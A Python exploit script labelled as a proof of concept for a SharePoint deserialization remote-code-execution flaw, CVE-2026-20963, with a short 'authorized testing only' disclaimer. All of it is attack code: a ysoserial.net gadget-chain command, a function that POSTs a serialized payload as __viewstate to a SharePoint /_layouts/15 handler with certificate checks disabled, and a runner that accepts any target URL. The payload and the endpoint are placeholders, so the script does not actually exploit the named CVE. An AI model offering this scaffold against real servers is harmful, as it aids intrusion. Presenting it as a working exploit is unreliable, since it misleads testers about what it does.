The following code is for security research and authorized testing only.
python
# CVE-2026-20963 SharePoint Deserialization RCE PoC
# This is a conceptual PoC for educational purposes only
import requests
import base64
import sys
# Note: This PoC requires actual target information to be filled in
TARGET_URL = "https://target-sharepoint-server.com"
def generate_deserialization_payload():
"""
Generate a malicious serialized object payload
This would typically use ysoserial.net or similar tool
"""
# Example using ysoserial.net:
# ysoserial.exe -p SharePoint -g ActivitySurrogateSelectorFromFile
# -c "calc.exe" -o base64
# Placeholder for the actual payload
# In real exploitation, this would be generated using:
# - BinaryFormatter serialization with gadget chains
# - ActivitySurrogateSelector or similar .NET gadgets
# - Or SharePoint-specific gadget chains
return "MALICIOUS_SERIALIZED_PAYLOAD_PLACEHOLDER"
def exploit_sharepoint(target_url, payload):
"""
Send the malicious payload to SharePoint endpoint
Common targets include:
- /_layouts/15/* endpoints
- WebPart pages with DataView
- Custom WebPart handlers
"""
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Content-Type': 'application/x-www-form-urlencoded'
}
# Endpoint that processes serialized data
endpoint = f"{target_url}/_layouts/15/SomeHandler.ashx"
# Payload injection via parameter
data = {
'__viewstate': payload,
'__VIEWSTATEGENERATOR': 'MALICIOUS_GENERATOR'
}
try:
response = requests.post(endpoint, data=data, headers=headers, timeout=30, verify=False)
return response.status_code, response.text
except requests.exceptions.RequestException as e:
return None, str(e)
def main():
if len(sys.argv) < 2:
print("Usage: python cve-2026-20963.py <target_url>")
print("Example: python cve-2026-20963.py https://sharepoint.company.com")
sys.exit(1)
target = sys.argv[1]
print(f"[*] Generating payload for CVE-2026-20963...")
# Generate deserialization payload
payload = generate_deserialization_payload()
print(f"[*] Exploiting target: {target}")
status, response = exploit_sharepoint(target, payload)
if status:
print(f"[+] Request sent with status code: {status}")
else:
print(f"[-] Exploitation failed: {response}")
if __name__ == "__main__":
main()